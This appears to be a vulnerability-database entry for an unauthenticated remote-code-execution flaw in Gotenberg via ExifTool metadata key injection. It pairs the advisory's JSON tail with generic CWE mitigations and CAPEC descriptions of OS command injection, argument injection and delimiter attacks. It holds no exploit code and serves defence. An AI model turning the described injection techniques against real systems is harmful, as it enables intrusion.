"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Gotenberg has Unauthenticated RCE via ExifTool Metadata Key Injection"
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.